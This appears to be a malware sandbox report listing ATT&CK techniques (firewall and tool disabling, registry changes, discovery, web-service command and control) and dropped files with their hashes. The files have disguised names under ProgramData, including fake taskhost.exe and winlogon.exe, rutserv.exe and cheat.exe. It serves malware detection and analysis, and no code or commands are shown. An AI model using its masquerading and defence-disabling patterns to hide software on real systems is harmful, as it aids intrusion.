                                                                                                                                                                                                                                                                                                            T1562

                                                                                                                                                                                                                                                                                                            Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1562.004

                                                                                                                                                                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1562.001

                                                                                                                                                                                                                                                                                                            Modify Registry

                                                                                                                                                                                                                                                                                                            8
                                                                                                                                                                                                                                                                                                            T1112

                                                                                                                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                                                                                                                            Query Registry

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1012

                                                                                                                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                                                                                                                            5
                                                                                                                                                                                                                                                                                                            T1082

                                                                                                                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                                                                                                                            Collection

                                                                                                                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                                                                                                                            Web Service

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1102

                                                                                                                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                                                                                                                            Impact

                                                                                                                                                                                                                                                                                                            Service Stop

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1489

                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\P.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              154KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              2b520776825a7cd9142e86c16550bdee

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              21fe7b104b74850ee56ed4ecc5855a0c44a23aca

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              6943eb169294827e6541f84a1a1c4da7765e563e9d5653f5dea9d47b039299c5

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              b3d03dcec48ef532ceaec95bcbd1a93e241d0b4e6355472ed0d4f5b718472bf9c806fa3b53d35912912b7338a27fc696d2d53784d1cf0c3d787f81c849d85117

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\R8.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              81KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              7bbfa0d2923accd6b0a135a210b78a7f

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              21f85ba13f20ff98afb876126cddd1eadf5ceafb

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              bf9bd62fac657f04110c3bb973a02bffeb8d43e5095dd9402411947593f7f71f

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              7642316ebab187a535d2e14a1553894c9d108a1652003941061ef17498d4eb6a2636d740efe922850a2a1228f636d4934da6d36059cc8d9968bce6eebf806d71

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\taskhost.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              3.4MB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              f04ab023e9133bc2c1b6567bae7ca0e0

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              e295d8b44a45599e689733e2de6687ec68055b3a

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              9c2309057dd9b38dfc2378a4cbd0c88760a965497443a661e28e359b94bd086f

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              22b5d41f4f32ea006a7c92ce27af56f2411862856a7e79aa8ebc5eb2a4d9b38967b7df824ff89cb3beb7cace8d79f8bc2d997405539feee591ffdbe1fdd78c1c

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\taskhost.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              594KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              e81cf620cd7ad3805ff6cd2fbf7caff9

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              2716a2cedbc9c7420aa7e05a93addbd8d120dc4f

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              14336a6f06d7a3601de2527ffd916696aebe882445d1c29543b3a74850f22536

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              11d53f457262a5371779f076f1cf61a4d4868b64a17a5677110f1f5f455b33cb0718c9ca7a69d82dec1720b0903976abea10a049b90b116309d6d8abb8350761

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\taskhost.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              886KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              6b5972d038c373cc389b4485363522ad

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              8ff7f2f3211910841f4408f99e4c6eafc6d1abb0

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              6fa660948429a44de6f0c2819a4cadd78b2fb15637cdc0b16aca96641554a63a

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              86c742010d4756b7d2bef0a5a1cd5e82e295692f7a5a540f0e3056978cca2d3dd23efac62551d3e2504ad3bcc13b3ffb09461fb10a56d0ad13642af32992c6b0

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\wini.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              3.0MB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              1bee7f9e7fa994c40c6d7abf5185572c

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              cd794194ed530c78a0848823685d9344e1193983

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              e375792e78330254d38c8ff630e2a5deaa7d13bcb77fe5f48fdd496da4e15985

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              0858b6d0052bc52e5a42e70c1a5580b5bf3c71b2dea1b36250971f07a323d7139520c3ca5b081ac174371049cdbb861f4e3ba774d9882dbbcf2aadd53dff5389

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\wini.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              4.4MB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              404bda1e0a48d955e0a4d6e3a6a2ab99

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              bdd0200a0cd19a0a1d5234c5f289de4f78017d0c

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              864085b5c28d58318cdeeeaac46df2d5f2d9840d2ea03eb867b716c2dd993449

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              60f0dac7d8b10707608fc302b2c4530a5862b6ceb6890405256743fc8870831359a183e0d8325ac7f3bfc7fafb2735bf99d7dcc845066860e8d82620b9a56859

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\winlog.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              244KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              4b2dbc48d42245ef50b975a7831e071c

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              3aab9b62004f14171d1f018cf74d2a804d74ef80

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              54eda5cc37afb3b725fa2078941b3b93b6aec7b8c61cd83b9b2580263ce54724

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              f563e9c6bc521c02490fe66df6cc836e57ec007377efb72259f4a3ae4eb08c4fd43720322982fb211cf8d429874c8795c1a7903cdb79ad92b5174ec5c94533dd

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              35KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              2f6a1bffbff81e7c69d8aa7392175a72

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              94ac919d2a20aa16156b66ed1c266941696077da

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              dc6d63798444d1f614d4a1ff8784ad63b557f4d937d90a3ad9973c51367079de

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              ff09ef0e7a843b35d75487ad87d9a9d99fc943c0966a36583faa331eb0a243c352430577bc0662149a969dbcaa22e2b343bed1075b14451c4e9e0fe8fa911a37

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\rootsystem\1.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              346KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              622610a2cc797a4a41f5b212aa98bde0

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              bfe47dce0d55df24aa5b6d59c442cf85c618176e

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              7f11dabe46bf0af8973ce849194a587bd0ba1452e165faf028983f85b2b624c2

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              3c6d36666086ffe13a09e4decc4956b0b15888de0ae457dabe29ed7e1195ec145cd1adc61e48fd7dc6eb8f0c94b69d5e2fb04bf75d9e456be0ca11289516381b

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              339KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              26d50937508dbeec1c6ed6e980d81b61

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              f9e03519019be7ae9e7c1bdb5594714668af33dc

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              6789fb1ab6a3db3f7f2549bc1a55ad03ec95bbd79700193aff065737e41e71b9

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              26c9249c9febd9747ef2dff114fa8fa09ad13f9990c741d5c1950b59867969c85309d551cd736ed1edc68c17008a06b6f7576d7dd0a8bbb4a908428e50e8ddb0

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\WindowsTask\winlogon.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              99KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              dc14f2bafee13c4e82fa3f33e3062d42

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              6930e00d56dd8500037b50972339aa91fa4a8794

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              364a61d6acde39fd35f18ab522480ccb61bbf03d6d9c996671f78d9c69ece159

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              0cce3ac36badfe979947f47b2acf8e8b882ef51db243e45822b6970286096affc1181f4add798157ea40a0aab663b48c73249b8a4be42d52d240da2b3eff5774

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\install.vbs
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              140B

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              5e36713ab310d29f2bdd1c93f2f0cad2

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              7e768cca6bce132e4e9132e8a00a1786e6351178

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              8e5cf90470163143aee75b593e52fcc39e6477cd69a522ee77fa2589ea22b8a3a1c23614d3a677c8017fba0bf4b320a4e47c56a9a7f176dbf51db88d9d8e52c1

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\reg1.reg
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              12KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              806734f8bff06b21e470515e314cfa0d

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              d4ef2552f6e04620f7f3d05f156c64888c9c97ee

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              7ae7e4c0155f559f3c31be25d9e129672a88b445af5847746fe0a9aab3e79544

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              007a79f0023a792057b81483f7428956ab99896dd1c8053cac299de5834ac25da2f6f77b63f6c7d46c51ed7a91b8eccb1c082043028326bfa0bfcb47f2b0d207

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\reg2.reg
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              6a5d2192b8ad9e96a2736c8b0bdbd06e

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              235a78495192fc33f13af3710d0fe44e86a771c9

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              411204a0a1cdbe610830fb0be09fd86c579bb5cccf46e2e74d075a5693fe7924e1e2ba121aa824af66c7521fcc452088b2301321d9d7eb163bee322f2f58640d

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              92KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              a8fb936a9697cba3d560f21e631bfe8a

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              68f66e20fcd27861b508aa0ea757f4457d64673b

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              7cdfbc62df4bc274289123ac79764419768033b3b8797dba0598be75ab7d6abf

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              38ad025a311ee70ca5494d253d5b49dcd95af3a8fdc7a90158d83fb831073c5d7ce76fd68c166aa5d6a7108ff081e7edab0978f0a75d826461994d2522632ccf

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              41KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              f6fb80d7bdefd524ca63344148ce32cd

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              bca9525b3c2379449a1c5241f1d683c9189e7ca1

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              9bccb5978be8ab5d586d1bf52bde23ea5acb037bd2fa39f14dcbec61b23a20a0

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              6e7eb6dffc9a871023ca825f84bd78464f75942c93091dedb929c17a66cf030bdae96de75e9161943aefb52bbebf6f0a23bfcb7eb5c0ca2d95d1632c37575e61

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              ea96d8178729e4022c6dd76445c317d4

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              7e7b37b03dd11c126d210f290294ed1dc79d3767

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              55720ffae951625653b4cecc71bb8a9dcc1c7685a7bede2dc54f7f687351c9c7

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              68de50a68fb98b3d0376ba7a16078960893547b5f680477f193c70fc1cd35ba0f2bc2f0b04839756cb77b7cb4e4f4876a60473bc69180d59defe7bc08af1d11f

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              137KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              502721bf8dd2aea269d74f8501f95321

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              1f87f931f1c4b589eeb1984c2e06673318fddd30

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              f1452d76408d76d8fa0ef6e63f366d9c2798a37b6650dae550e2f4a83c8fdaec

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              1339d4f5436f497f6dbeefaec046799aeeb695fe07f55f1da80bf28bb476a7dab239a4d5420ba29ca2839b9c46beb29c8e83d53ba571d80a43a53ba5723487a4

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              1.7MB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              37a8802017a212bb7f5255abc7857969

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              cb10c0d343c54538d12db8ed664d0a1fa35b6109

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              547KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              8e4dd0b48e6e852b0f09aa7231e79890

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              04ecfee1af4b7099b218d4fd14e954140dfcbc3b

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              9d84da9f221decf47264fcd20f080236d34e8b59df63a727a69e395e0dc5e277

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              7a19ed480a834de14cc15bc43ce9cc643b5e555cad873e254b40c21bf2868c245f12ae7b2ae037e10af63d635f761a9f46ba703ec52acc7e06bb749014e685d7

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              406KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              1d081e4fe3ac9302437c8c61718ea1f9

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              7052d491f6a5740e4dee4250c37f2b68373bbb7d

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              d2288bf959088635f6353bebde0ce3c010df9f825be5d32d083b4a7fe348bf88

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              a1f352ee0b4fca44bec46107e28558a600ba23f03e2377c29a787fd9d6abd11711ce546981209cceff372c9aec1650aba4b02908dacd5459e0833570dbf3452f

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              173KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              683baf3da93e165331edee0d25868adc

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              3891d0adccd93d220f6f6397e90a389257bb3d9d

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              aa5cde96799f22a3a778a0d28fdf665790509e5c96b18c68ced821ce64c503df

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              61e4150c51cf8f84507def8267c1831ec96a8a80b450b0822a6823f9bd1162541973321f14c2ca7014e54dabb96db192e852bf0c565d1a228fe708e5d057860e

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\vp8decoder.dll
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              84KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              2abf317e45aa42b7dd833047624c9c30

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              df5ac8daf21b4009944bdbb94fa40f297fc80134

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              37e5ee79218a46922e9f18fae70291952025f88e24f00e36246c39da1ee571ae

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              f35cdde963f53ea43a786c1820986722d2654fe57f51aafa22e3acd71e0f11b716a7808287f979174465c9036015f2a713644102975d871d6e2354a9563a8d0b

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\vp8encoder.dll
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              127KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              5d8424b8a61bb088bd63a9f304ccc3d2

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              0638a940046e420cc2e60d550f5fdffe577f4bf2

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              cabe4bdfe380af992ba2da57923c751db6152e0e651acdf7018da6b74fe81b63

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              a48c7bc513c6210acbc1bfdc41e224d9ae385b552e536e3c3bdf2d1073c4e430872d8dc459a3f56047899746acc634c4560021648b2ac42324c503869f3045bb

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\winit.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              961KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              03a781bb33a21a742be31deb053221f3

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              3951c17d7cadfc4450c40b05adeeb9df8d4fb578

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              e95fc3e7ed9ec61ba7214cc3fe5d869e2ee22abbeac3052501813bb2b6dde210

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              010a599491a8819be6bd6e8ba3f2198d8f8d668b6f18edda4408a890a2769e251b3515d510926a1479cc1fa011b15eba660d97deccd6e1fb4f2d277a5d062d45

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Windows\winit.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              616KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              af6afa4ecee7a1df9e7e291a3f77bbcf

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              609acee4115d89cf3485d0274c31934875cffbe8

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              fdd965e10585cf86e5fdb4e35eaf60f40b827fba3e720ca207c91be133921bd7

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              0d58d535f7751068054d55eb0ac8d1adb7664e8725cfc87102690869aa1a1507ac5dfc657eb5ec84bdb3831e1470b2231975b5668e63b0554a0bfbc81574ce81

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\install\cheat.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              4.5MB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              c097289ee1c20ac1fbddb21378f70410

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              d16091bfb972d966130dc8d3a6c235f427410d7f

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              b80857cd30e6ec64e470480aae3c90f513115163c74bb584fa27adf434075ab2

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              46236dba79489272b6b7f9649fb8be5beb4a0b10776adf7b67ef3a9f969a977cde7a99b1b154b4b9142eb1bf72abcadbfd38abaef1eb88d7d03c646645517d0d

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\install\ink.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              112KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              ef3839826ed36f3a534d1d099665b909

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              8afbee7836c8faf65da67a9d6dd901d44a8c55ca

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              136590cb329a56375d6336b12878e18035412abf44c60bebdaa6c37840840040

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              040c7f7b7a28b730c6b7d3fabc95671fe1510dac0427a49af127bdeb35c8643234730bf3824f627050e1532a0283895bd41fd8a0f5ac20a994accf81a27514f8

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\microsoft\Temp\5.xml
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              23KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              487497f0faaccbf26056d9470eb3eced

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              e1be3341f60cfed1521a2cabc5d04c1feae61707

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              9a8efbd09c9cc1ee7e8ff76ea60846b5cd5a47cdaae8e92331f3b7b6a5db4be5

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              3c6b5b29c0d56cfd4b717a964fac276804be95722d78219e7087c4ec787566f223e24421e0e3e2d8a6df5f9c9a5c07f1935f4ba7a83a6a3efa84866e2c1405dd

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Programdata\Install\del.bat
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              61B

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              398a9ce9f398761d4fe45928111a9e18

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              caa84e9626433fec567089a17f9bcca9f8380e62

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              e376f2a9dda89354311b1064ea4559e720739d526ef7da0518ebfd413cd19fc1

                                                                                                                                                                                                                                                                                                              SHA512

